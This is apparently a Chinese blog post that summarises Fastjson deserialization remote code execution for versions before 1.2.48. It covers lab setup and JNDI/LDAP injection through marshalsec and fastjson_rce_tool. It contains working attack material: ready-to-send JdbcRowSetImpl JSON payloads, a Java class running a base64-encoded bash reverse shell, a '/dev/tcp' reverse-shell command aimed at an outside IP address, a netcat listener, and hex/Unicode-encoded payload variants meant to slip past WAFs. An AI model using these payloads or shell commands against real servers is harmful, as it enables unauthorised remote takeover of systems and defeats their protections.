Fastjson RCE 利用总结

介绍

Fastjson 是阿里巴巴公司开源的一款 json 解析器,其性能优越,被广泛应用于各大厂商的 Java 项目中。fastjson 于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的 json 字符串绕过白名单检测,成功执行任意命令。

注意

关于 jndi 注入的利用方式我在这里简单提一下,因为 jndi 注入的利用受jdk版本影响较大,所以在利用的时候还是要多尝试的。

  1. 基于 rmi 的利用方式
    适用 jdk 版本:JDK 6u132, JDK 7u122, JDK 8u113之前。
  2. 基于 ldap 的利用方式
    适用 jdk 版本:JDK 11.0.1、8u191、7u201、6u211之前。
  3. 基于 BeanFactory 的利用方式
    适用 jdk 版本:JDK 11.0.1、8u191、7u201、6u211以后。
    利用前提:因为这个利用方式需要借助服务器本地的类,而这个类在 tomcat 的 jar 包里面,一般情况下只能在 tomcat 上可以利用成功。

搭建漏洞环境

用 vulnhub 可以一键搭建漏洞环境
sudo docker-compose up -d

up.jpg

访问 8090 端口看到以下画面就是搭建成功

success.jpg

复现

一、 marshalsec-0.0.3-SNAPSHOT-all.jar + Exploit.java

  1. 配置RMi环境
  • 需要借助marshalsec项目,启动一个RMI服务器,监听53端口,并加载远程类(需要java 8环境)。

https://github.com/mbechler/marshalsec
安装 maven
yum install -y maven
切换到 marshalsec 目录下使用 maven 进行打包,
mvn clean package -DskipTests。

  • 下载 EXP

https://github.com/CaijiOrz/fastjson-1.2.47-RCE
或者也可以选择自己编写

public class exec{
 public static void main(String[] args) throws Exception  {
     Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvXLEE23UwLjY4Lzk5OTUgMD4mMQ==}|{base64,-d}|{bash,-i}").waitFor();
     }
}
  1. 编写exp.java
    javac Exploit.java
    生成 class 文件,在网上看说要最好 java 和服务器的版本要尽可能一样,否则可能服务器会无法执行 exp

exp.java.jpg

  1. 开启 LDAP 和 WEB 服务
    LDAP:
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://IP/#Exploit 9987
    python web:
    python3 -m http.server 8000或者python -m SimpleHTTPServer 8000

  2. 监听流量
    nc -lvnp 8888

  3. 抓包重放
    如果没有问题,ldap 会转发到 web 服务器,也会弹个 nc 回来

shell1.jpg

POST / HTTP/1.1
Host: 192.168.33.134:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 189

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.33.134:9988/Exploit","autoCommit":true}}

二、fastjson_rce_tool

https://github.com/wyzxxz/fastjson_rce_tool

这个就简单很多了,直接用 LDAP 转发,或者用 RMI 都可以。

  1. 执行命令 java -cp fastjson_tool.jar fastjson.HLDAPServer VPS地址 8888 "bash=/bin/bash -i >& /dev/tcp/118.193.33.101/4445 0>&1";如果要反弹shell,同时 nc 监听端口 4445。他会给两个payload

1.jpg

  1. 同方法一一样,重发 payload 包
{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.33.134:8888/Object","autoCommit":true}}
  1. 与此同时,VPS 就会弹一个 shell 回来

2.jpg

三、WAF 初绕过

  1. JSONLexerBase.scanSymbol
    这个函数是 fastjson 用来处理 json 字符串的函数,在 fastjson 在进行 json 字符的处理时,如果扫描到 '/' (代码里是//是因为 java 自身的特殊字符编码),fastjson 会认为字符经过了编码,所以会进行解码操作。
    也就是说当输入的字符是形如 \u 或者 \x 的情况下 fastjson 是会对其进行解码操作的(即 fastjson 支持字符串的Unicode编码和十六进制编码)
    这里用最初的POC,肯定是成功的,
{"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.33.134:8888/Object","autoCommit":true}}

WAF1.jpg

  1. 编码
    我们现在编码一下,是可以成功执行的,但是这里只能绕过简单的 WAF 和 WEB 黑名单
{"f":{"\u0040\u0074\u0079\u0070\u0065":"\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"ldap://192.168.33.134:8888/Object","\x61\x75\x74\x6f\x43\x6f\x6d\x6d\x69\x74":true}}

WAF2.jpg

WAF2-1.jpg

四、利用技巧

  1. 结合 burp 被动扫描
    这里我直接贴 github 地址好了,大佬们比我强

https://github.com/uknowsec/BurpSuite-Extender-fastjson

posted @ 2020-12-27 10:27  楼下的小可怜-w0x68y  阅读(2590)  评论(0编辑  收藏  举报